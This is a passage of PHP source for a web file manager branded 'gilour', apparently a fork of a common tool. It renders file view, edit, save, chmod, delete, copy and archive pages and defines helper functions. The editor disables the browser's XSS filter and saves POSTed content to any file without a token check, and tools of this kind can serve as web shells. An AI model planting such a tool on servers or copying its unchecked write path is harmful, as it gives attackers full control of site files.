                    // highlight
                    $hljs_classes = array(
                        'shtml' => 'xml',
                        'htaccess' => 'apache',
                        'phtml' => 'php',
                        'lock' => 'json',
                        'svg' => 'xml',
                    );
                    $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
                    if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
                        $hljs_class = 'nohighlight';
                    }
                    $content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fanco($content) . '</code></pre>';
                } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
                    // php highlight
                    $content = highlight_string($content, true);
                } else {
                    $content = '<pre>' . fanco($content) . '</pre>';
                }
                echo $content;
            }
            ?>
        </div>
    </div>
    <?php
        fm_show_footer();
    exit;
}

// file editor
if (isset($_GET['edit']) and !FM_READONLY) {
    $file = $_GET['edit'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    $editFile = ' : <i><b>'. $file. '</b></i>';
    header('X-XSS-Protection:0');
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    // normal editer
    $isNormalEditor = true;
    if (isset($_GET['env'])) {
        if ($_GET['env'] == "ace") {
            $isNormalEditor = false;
        }
    }

    // Save File
    if (isset($_POST['savedata'])) {
        $writedata = $_POST['savedata'];
        $fd = fopen($file_path, "w");
        @fwrite($fd, $writedata);
        fclose($fd);
        fm_set_msg(lng('File Saved Successfully'));
    }

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize = filesize($file_path);
    $is_text = false;
    $content = ''; // for text

    if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="path">
        <div class="row">
            <div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
                <div class="btn-toolbar" role="toolbar">
                    <?php if (!$isNormalEditor) { ?>
                        <div class="btn-group js-ace-toolbar">
                            <button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="<?php echo lng('Fullscreen') ?>"><i class="fa fa-expand" title="<?php echo lng('Fullscreen') ?>"></i></button>
                            <button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="<?php echo lng('Search') ?>"><i class="fa fa-search" title="<?php echo lng('Search') ?>"></i></button>
                            <button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="<?php echo lng('Undo') ?>"><i class="fa fa-undo" title="<?php echo lng('Undo') ?>"></i></button>
                            <button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="<?php echo lng('Redo') ?>"><i class="fa fa-repeat" title="<?php echo lng('Redo') ?>"></i></button>
                            <button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="<?php echo lng('Word Wrap') ?>"><i class="fa fa-text-width" title="<?php echo lng('Word Wrap') ?>"></i></button>
                            <select id="js-ace-mode" data-type="mode" title="<?php echo lng('Select Document Type') ?>" class="btn-outline-secondary border-start-0 d-none d-md-block"><option>-- <?php echo lng('Select Mode') ?> --</option></select>
                            <select id="js-ace-theme" data-type="theme" title="<?php echo lng('Select Theme') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Theme') ?> --</option></select>
                            <select id="js-ace-fontSize" data-type="fontSize" title="<?php echo lng('Select Font Size') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Font Size') ?> --</option></select>
                        </div>
                    <?php } ?>
                </div>
            </div>
            <div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-end pt-1">
                <a title="<?php echo lng('Back') ?>" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
                <a title="<?php echo lng('BackUp') ?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
                <?php if ($is_text) { ?>
                    <?php if ($isNormalEditor) { ?>
                        <a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&amp;env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
                        </button>
                    <?php } else { ?>
                        <a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
                        </button>
                    <?php } ?>
                <?php } ?>
            </div>
        </div>
        <?php
        if ($is_text and $isNormalEditor) {
            echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
            echo '<script>document.addEventListener("keydown", function(e) {if ((window.navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey)  and e.keyCode == 83) { e.preventDefault();edit_save(this,"nrl");}}, false);</script>';
        } elseif ($is_text) {
            echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
        } else {
            fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
        }
        ?>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['chmod']) and !FM_READONLY and !FM_IS_WIN) {
    $file = $_GET['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
    $file_path = $path . '/' . $file;

    $mode = fileperms($path . '/' . $file);
    ?>
    <div class="path">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header">
                <?php echo lng('ChangePermissions') ?>
            </h6>
            <div class="card-body">
                <p class="card-text">
                    <?php $display_path = fm_get_display_path($file_path); ?>
                    <?php echo $display_path['label']; ?>: <?php echo $display_path['path']; ?><br>
                </p>
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="chmod" value="<?php echo fanco($file) ?>">

                    <table class="table compact-table <?php echo fm_get_theme(); ?>">
                        <tr>
                            <td></td>
                            <td><b><?php echo lng('Owner') ?></b></td>
                            <td><b><?php echo lng('Group') ?></b></td>
                            <td><b><?php echo lng('Other') ?></b></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
                            <td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
                            <td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
                            <td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
                        </tr>
                    </table>

                    <p>
                       <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> 
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button>
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path

fm_show_message();

$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
$tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white";
?>
<form action="" method="post" class="pt-3">
    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
    <input type="hidden" name="group" value="1">
    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
    <div class="table-responsive">
        <table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table">
            <thead class="thead-white">
            <tr>
                <?php if (!FM_READONLY): ?>
                    <th style="width:3%" class="custom-checkbox-header">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
                            <label class="custom-control-label" for="js-select-all-items"></label>
                        </div>
                    </th><?php endif; ?>
                <th><?php echo lng('Name') ?></th>
                <th><?php echo lng('Size') ?></th>
                <th><?php echo lng('Modified') ?></th>
                <?php if (!FM_IS_WIN and !$hide_Cols): ?>
                    <th><?php echo lng('Perms') ?></th>
                    <th><?php echo lng('Owner') ?></th><?php endif; ?>
                <th><?php echo lng('Actions') ?></th>
            </tr>
            </thead>
            <?php
            if ($parent !== false) {
                ?>
                <tr><?php if (!FM_READONLY): ?>
                    <td class="nosort"></td><?php endif; ?>
                    <td class="border-0" data-sort><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0"></td>
                    <?php if (!FM_IS_WIN and !$hide_Cols) { ?>
                        <td class="border-0"></td>
                        <td class="border-0"></td>
                    <?php } ?>
                </tr>
                <?php
            }
            $uu = 3399;
            foreach ($folders as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = "";
                $filesize = lng('Folder');
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                    if ($owner === false) {
                        $owner = array('name' => '?');
                    }
                    if ($group === false) {
                        $group = array('name' => '?');
                    }
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $uu ?>" name="file[]" value="<?php echo fanco($f) ?>">
                            <label class="custom-control-label" for="<?php echo $uu ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td data-sort=<?php echo fm_convert_win(fanco($f)) ?>>
                        <div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
                            </a><?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div>
                    </td>
                    <td data-order="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>">
                        <?php echo $filesize; ?>
                    </td>
                    <td data-order="a-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN and !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo $owner['name'] . ':' . $group['name'] ?></td>
                    <?php endif; ?>
                    <td class="inline-actions"><?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, '1028','<?php echo lng('Delete').' '.lng('Folder'); ?>','<?php echo urlencode($f) ?>', this.href);"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('CopyTo')?>..." href="?p=&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink')?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $uu++;
            }
            $ik = 6070;
            foreach ($files as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = fm_get_size($path . '/' . $f);
                $filesize = fm_get_filesize($filesize_raw);
                $filelink = '?p=' . urlencode(FM_PATH) . '&amp;view=' . urlencode($f);
                $all_files_size += $filesize_raw;
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                    if ($owner === false) {
                        $owner = array('name' => '?');
                    }
                    if ($group === false) {
                        $group = array('name' => '?');
                    }
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fanco($f) ?>">
                            <label class="custom-control-label" for="<?php echo $ik ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td data-sort=<?php echo fanco($f) ?>>
                        <div class="filename">
                        <?php
                           if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?>
                                <?php $imagePreview = fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
                                <a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fanco($f) ?>">
                           <?php else: ?>
                                <a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
                            <?php endif; ?>
                                    <i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
                                </a>
                                <?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
                        </div>
                    </td>
                    <td data-order="b-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
                        <?php echo $filesize; ?>
                        </span></td>
                    <td data-order="b-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN and !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo fanco($owner['name'] . ':' . $group['name']) ?></td>
                    <?php endif; ?>
                    <td class="inline-actions">
                        <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete').' '.lng('File'); ?>','<?php echo urlencode($f); ?>', this.href);"> <i class="fa fa-trash-o"></i></a>
                            <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
                            <a title="<?php echo lng('CopyTo') ?>..."
                               href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
                        <a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1211, '<?php echo lng('Download'); ?>','<?php echo urlencode($f); ?>', this.href);"><i class="fa fa-download"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $ik++;
            }

            if (empty($folders) and empty($files)) { ?>
                <tfoot>
                    <tr><?php if (!FM_READONLY): ?>
                            <td></td><?php endif; ?>
                        <td colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? '6' : '4' ?>"><em><?php echo lng('Folder is empty') ?></em></td>
                    </tr>
                </tfoot>
                <?php
            } else { ?>
                <tfoot>
                    <tr>
                        <td class="gray" colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? (FM_READONLY ? '6' :'7') : (FM_READONLY ? '4' : '5') ?>">
                            <?php echo lng('FullSize').': <span class="badge text-bg-light border-radius-0">'.fm_get_filesize($all_files_size).'</span>' ?>
                            <?php echo lng('File').': <span class="badge text-bg-light border-radius-0">'.$num_files.'</span>' ?>
                            <?php echo lng('Folder').': <span class="badge text-bg-light border-radius-0">'.$num_folders.'</span>' ?>
                        </td>
                    </tr>
                </tfoot>
                <?php } ?>
        </table>
    </div>

    <div class="row">
        <?php if (!FM_READONLY): ?>
        <div class="col-xs-12 col-sm-9">
            <ul class="list-inline footer-action">
                <li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php echo lng('Delete selected files and folders?'); ?>')">
                    <a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
                    <a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li>
            </ul>
        </div>
        <div class="col-3 d-none d-sm-block"><a href="." target="_blank" class="float-right text-muted">gilour <?php echo VERSION; ?></a></div>
        <?php else: ?>
            <div class="col-12"><a href="." target="_blank" class="float-right text-muted">gilour <?php echo VERSION; ?></a></div>
        <?php endif; ?>
    </div>
</form>

<?php
fm_show_footer();


function print_external($key) {
    global $external;

    if(!array_key_exists($key, $external)) {
        // throw new Exception('Key missing in external: ' . key);
        echo "<!-- EXTERNAL: MISSING KEY $key -->";
        return;
    }

    echo "$external[$key]";
}


function verifyToken($token) 
{
    if (hash_equals($_SESSION['token'], $token)) { 
        return true;
    }
    return false;
}

/**
 * Delete  file or folder (recursively)
 * @param string $path
 * @return bool
 */
function fm_rdelete($path)
{
    if (is_link($path)) {
        return unlink($path);
    } elseif (is_dir($path)) {
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (!fm_rdelete($path . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return ($ok) ? rmdir($path) : false;
    } elseif (is_file($path)) {
        return unlink($path);
    }
    return false;
}


function fm_rchmod($path, $filemode, $dirmode)
{
    if (is_dir($path)) {
        if (!chmod($path, $dirmode)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
                        return false;
                    }
                }
            }
        }
        return true;
    } elseif (is_link($path)) {
        return true;
    } elseif (is_file($path)) {
        return chmod($path, $filemode);
    }
    return false;
}


function fm_is_valid_ext($filename)
{
    $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;

    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    return ($isFileAllowed) ? true : false;
}


function fm_rename($old, $new)
{
    $isFileAllowed = fm_is_valid_ext($new);

    if(!is_dir($old)) {
        if (!$isFileAllowed) return false;
    }

    return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null;
}


function fm_rcopy($path, $dest, $upd = true, $force = true)
{
    if (is_dir($path)) {
        if (!fm_mkdir($dest, $force)) {
            return false;
        }
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return $ok;
    } elseif (is_file($path)) {
        return fm_copy($path, $dest, $upd);
    }
    return false;
}


function fm_mkdir($dir, $force)
{
    if (file_exists($dir)) {
        if (is_dir($dir)) {
            return $dir;
        } elseif (!$force) {
            return false;
        }
        unlink($dir);
    }
    return mkdir($dir, 0777, true);
}


function fm_copy($f1, $f2, $upd)
{
    $time1 = filemtime($f1);
    if (file_exists($f2)) {
        $time2 = filemtime($f2);
        if ($time2 >= $time1 and $upd) {
            return false;
        }
    }
    $ok = copy($f1, $f2);
    if ($ok) {
        touch($f2, $time1);
    }
    return $ok;
}


function fm_get_mime_type($file_path)
{
    if (function_exists('finfo_open')) {
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime = finfo_file($finfo, $file_path);
        finfo_close($finfo);
        return $mime;
    } elseif (function_exists('mime_content_type')) {
        return mime_content_type($file_path);
    } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
        $file = escapeshellarg($file_path);
        $mime = shell_exec('file -bi ' . $file);
        return $mime;
    } else {
        return '--';
    }
}


function fm_redirect($url, $code = 302)
{
    header('Location: ' . $url, true, $code);
    exit;
}


function get_absolute_path($path) {
    $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
    $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
    $absolutes = array();
    foreach ($parts as $part) {
        if ('.' == $part) continue;
        if ('..' == $part) {
            array_pop($absolutes);
        } else {
            $absolutes[] = $part;
        }
    }
    return implode(DIRECTORY_SEPARATOR, $absolutes);
}


function fm_clean_path($path, $trim = true)
{
    $path = $trim ? trim($path) : $path;
    $path = trim($path, '\\/');
    $path = str_replace(array('../', '..\\'), '', $path);
    $path =  get_absolute_path($path);
    if ($path == '..') {
        $path = '';
    }
    return str_replace('\\', '/', $path);
}


function fm_get_parent_path($path)
{
    $path = fm_clean_path($path);
    if ($path != '') {
        $array = explode('/', $path);
        if (count($array) > 1) {
            $array = array_slice($array, 0, -1);
            return implode('/', $array);
        }
        return '';
    }
    return false;
}

function fm_get_display_path($file_path)
{
    global $path_display_mode, $root_path, $root_url;
    switch ($path_display_mode) {
        case 'relative':
            return array(
                'label' => 'Path',
                'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path)))
            );
        case 'host':
            $relative_path = str_replace($root_path, '', $file_path);
            return array(
                'label' => 'Host Path',
                'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/')))
            );
        case 'full':
        default:
            return array(
                'label' => 'Full Path',
                'path' => fanco(fm_convert_win($file_path))
            );
    }
}


function fm_is_exclude_items($file) {
    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
    if (isset($exclude_items) and sizeof($exclude_items)) {
        unset($exclude_items);
    }

    $exclude_items = FM_EXCLUDE_ITEMS;
    if (version_compare(PHP_VERSION, '7.0.0', '<')) {
        $exclude_items = unserialize($exclude_items);
    }
    if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) {
        return true;
    }
    return false;
}


function fm_get_translations($tr) {
    try {
        $content = @file_get_contents('translation.json');
        if($content !== FALSE) {
            $lng = json_decode($content, TRUE);
            global $lang_list;
            foreach ($lng["language"] as $key => $value)
            {
                $code = $value["code"];
                $lang_list[$code] = $value["name"];
                if ($tr)
                    $tr[$code] = $value["translation"];
            }
            return $tr;
        }

    }
    catch (Exception $e) {
        echo $e;
    }
}


function fm_get_size($file)
{
    static $iswin;
    static $isdarwin;
    if (!isset($iswin)) {
        $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
    }
    if (!isset($isdarwin)) {
        $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
    }

    static $exec_works;
    if (!isset($exec_works)) {
        $exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC');
    }

    // try a shell command
    if ($exec_works) {
        $arg = escapeshellarg($file);
        $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
        @exec($cmd, $output);
        if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) {
            return $size;
        }
    }

    // try the Windows COM interface
    if ($iswin and class_exists("COM")) {
        try {
            $fsobj = new COM('Scripting.FileSystemObject');
            $f = $fsobj->GetFile( realpath($file) );
            $size = $f->Size;
        } catch (Exception $e) {
            $size = null;
        }
        if (ctype_digit($size)) {
            return $size;
        }
    }

    // if all else fails
    return filesize($file);
}


function fm_get_filesize($size)
{
    $size = (float) $size;
    $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    $power = ($size > 0) ? floor(log($size, 1024)) : 0;
    $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power;
    return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}


function fm_get_directorysize($directory) {
    $bytes = 0;
    $directory = realpath($directory);
    if ($directory !== false and $directory != '' and file_exists($directory)){
        foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){
            $bytes += $file->getSize();
        }
    }
    return $bytes;
}


function fm_get_zif_info($path, $ext) {
    if ($ext == 'zip' and function_exists('zip_open')) {
        $arch = @zip_open($path);
        if ($arch) {
            $filenames = array();
            while ($zip_entry = @zip_read($arch)) {
                $zip_name = @zip_entry_name($zip_entry);
